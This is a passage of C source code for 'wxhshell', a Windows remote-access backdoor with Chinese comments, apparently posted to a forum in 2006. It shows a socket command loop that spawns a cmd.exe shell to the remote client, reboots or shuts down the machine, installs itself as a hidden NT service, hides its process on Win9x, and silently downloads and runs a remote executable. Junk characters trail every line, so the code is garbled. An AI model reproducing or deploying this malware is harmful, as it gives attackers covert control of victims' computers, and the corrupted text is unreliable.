    break; $~zqt%}  
  } r(i<H%"Z  
  // 安装 :^J(%zy  
  case 'i': { '<4OA!,^)  
    if(Install()) d3^LalAp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ha4?I$'$  
    else Hdj0! bUx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hsx`P  
    break; Z*s/%4On  
    } _3hCu/BV  
  // 卸载 tEBf2|<  
  case 'r': { +>c)5Jih  
    if(Uninstall()) pEhWgCL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Bu<6  
    else <f{m=Dc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w;r -TLf  
    break; ?ew^%1!W.  
    } f,`FbT  
  // 显示 wxhshell 所在路径 3cQTl5,  
  case 'p': { CaZEU(i  
    char svExeFile[MAX_PATH]; .^P^lQT]>  
    strcpy(svExeFile,"\n\r"); m!E36ce}  
      strcat(svExeFile,ExeFile); #r:J,D6*  
        send(wsh,svExeFile,strlen(svExeFile),0); (VwS 9:`  
    break; /EKfL\3  
    } !=q {1\#  
  // 重启 _Ndy;MQ  
  case 'b': { YgdoQBQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SZvw>=)a  
    if(Boot(REBOOT)) ruF+X)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N-K.#5  
    else { s( 2=E|  
    closesocket(wsh); "0zMx`Dh  
    ExitThread(0); U5izOFc  
    } EzzzH(!j  
    break; YN"102CK  
    } +apIp(E+  
  // 关机 }u:^Mz  
  case 'd': { @YWfq$23  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J6NQ5S\  
    if(Boot(SHUTDOWN)) kD MS7y<s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HRx#}hN?+  
    else { Z0`?  
    closesocket(wsh); _Y\@{T;^Zb  
    ExitThread(0); C'7W50b  
    } k_O"bsI)  
    break; Nk}Hvg*(  
    } A(;J  
  // 获取shell Qpf BM  
  case 's': { K<Ct  
    CmdShell(wsh); If!0w ;h  
    closesocket(wsh);  jCKRoao  
    ExitThread(0); glk I9~  
    break; h/-7;Csv  
  } .7E-  
  // 退出 fVR ~PG0  
  case 'x': { \UtUP#Y{t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y5ebpw+B-  
    CloseIt(wsh); O aF+Z@s  
    break; 8 _`Lx_R  
    } rhNdXYY>  
  // 离开 pklcRrx,a  
  case 'q': { 3%|<U51  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l\$_t2U  
    closesocket(wsh); d5^ipu  
    WSACleanup(); hw~cS7  
    exit(1); r=&PUT+vt  
    break; X<-]./  
        } @@ ZcW<Y"  
  } &[RC4^;\V  
  } ]V.9jlXF  
WxO*{`T!  
  // 提示信息 IFpmf0;^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7M*+!al9  
} 2$1rS}}  
  } 7Dm^49H  
j#!J hi  
  return; *jA%.F  
} X4%*&L  
z$;%SYI  
// shell模块句柄 7zQD.+&L  
int CmdShell(SOCKET sock) JmN;v|wF:c  
{ `5GJ,*{z  
STARTUPINFO si; C: e}}8i  
ZeroMemory(&si,sizeof(si)); {MYlW0)~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g3x192f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DO( /,A<{8  
PROCESS_INFORMATION ProcessInfo; Y6{p|F?&"  
char cmdline[]="cmd"; G9V zVx#T#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |'KNR]: N  
  return 0; ^/g&Q  
} G]&:">&R  
= b)q.2'#  
// 自身启动模式 P<2yCovn`  
int StartFromService(void) 'u696ED4  
{ "?avb`YU'  
typedef struct CT"0"~~  
{ z': >nw  
  DWORD ExitStatus; 162qxR[.  
  DWORD PebBaseAddress; F7"Ihb^l  
  DWORD AffinityMask; gB~SCl54  
  DWORD BasePriority; OWq~BZ{  
  ULONG UniqueProcessId; -@J;FjrXmP  
  ULONG InheritedFromUniqueProcessId; 9`09.`U9[  
}   PROCESS_BASIC_INFORMATION; KCCS7l/  
_=}Y lR  
PROCNTQSIP NtQueryInformationProcess; =M(\R8  
+d'h20  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IFv2S|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S2fw"1h*x  
YHKm{A ]  
  HANDLE             hProcess; PK+][.6H  
  PROCESS_BASIC_INFORMATION pbi; T>?sPq  
Jv)]7u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W tzV|e,  
  if(NULL == hInst ) return 0; ;'<K}h  
^kXDEKm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {s`1+6_&Vz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @cjhri|vH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Z< 5iLq  
5T8!5EcS*  
  if (!NtQueryInformationProcess) return 0; Y<0f1N  
9r8{9h:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nt5 ~"8  
  if(!hProcess) return 0; BO{J{  
L;z-,U$;%R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _<3:vyfdC  
N?pD"re)6  
  CloseHandle(hProcess); a)Wf* <B  
[e&$4l IS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); slPFDBx  
if(hProcess==NULL) return 0; Pq_Il9  
4Y)3<=kDG  
HMODULE hMod; k| jC c  
char procName[255]; :+R ||q i  
unsigned long cbNeeded; 5`z{A  
,cm2uY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W)9KYI9u  
{) .=G  
  CloseHandle(hProcess); RcHyePuF)R  
PGw"\-F  
if(strstr(procName,"services")) return 1; // 以服务启动 WV&BZ:H  
H-rf?R2  
  return 0; // 注册表启动 *2>%>qu  
} Stp??  
o#+!H!C.O  
// 主模块 |"@E"Za^  
int StartWxhshell(LPSTR lpCmdLine) ;yUY|o  
{ <`N\FM^vo  
  SOCKET wsl; @:c 1+  
BOOL val=TRUE; [J*)r8ys  
  int port=0; AN.`tv  
  struct sockaddr_in door; 2ag]p  
Xbu >8d?n  
  if(wscfg.ws_autoins) Install(); tHu8|JrH+  
&[s^`e  
port=atoi(lpCmdLine); >?tcL *  
6%yr>BFtVV  
if(port<=0) port=wscfg.ws_port; p 3_Q  
n" MFC  
  WSADATA data; }'Z(J)Bg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UPgZj\t%{  
G A7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]#*@<T*[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~ R*6w($  
  door.sin_family = AF_INET; TY88PXW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hrXN 38-  
  door.sin_port = htons(port); kv'n W  
{Qhv HV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D!X{9q}S1  
closesocket(wsl); -iW[cj R`$  
return 1; wLgRI$ _Dm  
} lv\2vRYw-  
!IGVN:E  
  if(listen(wsl,2) == INVALID_SOCKET) { (Bmjz*%M  
closesocket(wsl); )v|a:'%K_  
return 1; Ne#nSx5,  
} S>*T&K  
  Wxhshell(wsl); nxH$$}9  
  WSACleanup(); Y&&Y:+ V  
yDyq. -Q  
return 0; V*)6!N[5  
D&oC1  
} @RnGK 5  
3s|tS2^4  
// 以NT服务方式启动 r7IhmdA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L~yy;)]W  
{ gZPJZN/cpz  
DWORD   status = 0; f?{Y<M~]  
  DWORD   specificError = 0xfffffff; QOP*vH >J  
tq*Q|9j7VG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _@@S,(MA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n@%'Nbc>b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8l}|.Q#--  
  serviceStatus.dwWin32ExitCode     = 0; x Apa+j6I  
  serviceStatus.dwServiceSpecificExitCode = 0; iF 67  
  serviceStatus.dwCheckPoint       = 0; N..u<06j/  
  serviceStatus.dwWaitHint       = 0; 2`Pk@,:_  
Lc.7:r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ h:^Q  
  if (hServiceStatusHandle==0) return; ^< E,aCy  
^L'K?o  
status = GetLastError(); Nh+$'6yT%  
  if (status!=NO_ERROR) ec3('}X  
{ ):\ pD]e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T2Vj &EA@  
    serviceStatus.dwCheckPoint       = 0; F_-yT[i  
    serviceStatus.dwWaitHint       = 0; =-q)I[4#  
    serviceStatus.dwWin32ExitCode     = status; =djzE`)0  
    serviceStatus.dwServiceSpecificExitCode = specificError; {#;6$dU;(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s/T5aJR  
    return; Dnp^yqz*  
  } huQ1A0(no  
pH*L8tT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O{dx+f  
  serviceStatus.dwCheckPoint       = 0; tb=(L  
  serviceStatus.dwWaitHint       = 0; <<`."RY#0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RSnK`N\9jb  
} /stED{j,  
`Y[zF1$kz^  
// 处理NT服务事件,比如:启动、停止 M9N|Ql  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _{ba  
{ |_ @iaLE  
switch(fdwControl) gVD!.  
{ ?(|!VLu  
case SERVICE_CONTROL_STOP: z^oi15D|{  
  serviceStatus.dwWin32ExitCode = 0; .CYq+^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 91,\y  
  serviceStatus.dwCheckPoint   = 0; x x 'XR'zK  
  serviceStatus.dwWaitHint     = 0; t4<#k=  
  { QHQj6]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); % ,X(GwX  
  } %\^x3wP&o\  
  return; I#,,h4C  
case SERVICE_CONTROL_PAUSE: <bid 6Q0|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3oIoQj+D  
  break; B02~/9*Y"  
case SERVICE_CONTROL_CONTINUE: )V>FU=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r|#4+'  
  break; \UE9Ff+{  
case SERVICE_CONTROL_INTERROGATE: Cr[#D$::`  
  break; s9'iHe  
}; K E^_09  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I|PiZ1]2 Y  
} bWyXDsr+  
:*8@Mj Z4  
// 标准应用程序主函数 xL!05du  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MJD4#G  
{ NH?s  
:Ert57@l  
// 获取操作系统版本 ~f@;.  
OsIsNt=GetOsVer(); ']dTW#i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Q\;N C=4  
rLVAI#ci=  
  // 从命令行安装 0p#36czqy  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lr+2L_/v`  
L,l+1`Jz  
  // 下载执行文件 Gm|QOuw  
if(wscfg.ws_downexe) { }tJ:-!*2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bVVa5? HP  
  WinExec(wscfg.ws_filenam,SW_HIDE); T JVNR_x  
} 9XoKOR(  
1'd "O @  
if(!OsIsNt) { 0? l  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fq{nc]L6  
HideProc(); g\^(>Ouc  
StartWxhshell(lpCmdLine); xE9s=}  
} INkrG.=u  
else l/1uP  
  if(StartFromService()) v` B_xEl  
  // 以服务方式启动 +I/P5OGRN  
  StartServiceCtrlDispatcher(DispatchTable); aE;!mod  
else 5i#B?+Y  
  // 普通方式启动 c8yD-U/-  
  StartWxhshell(lpCmdLine); P EbB0GL  
 KL|B| u  
return 0; sX=!o})0  
}
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只看该作者 1 发表于: 2006-10-10
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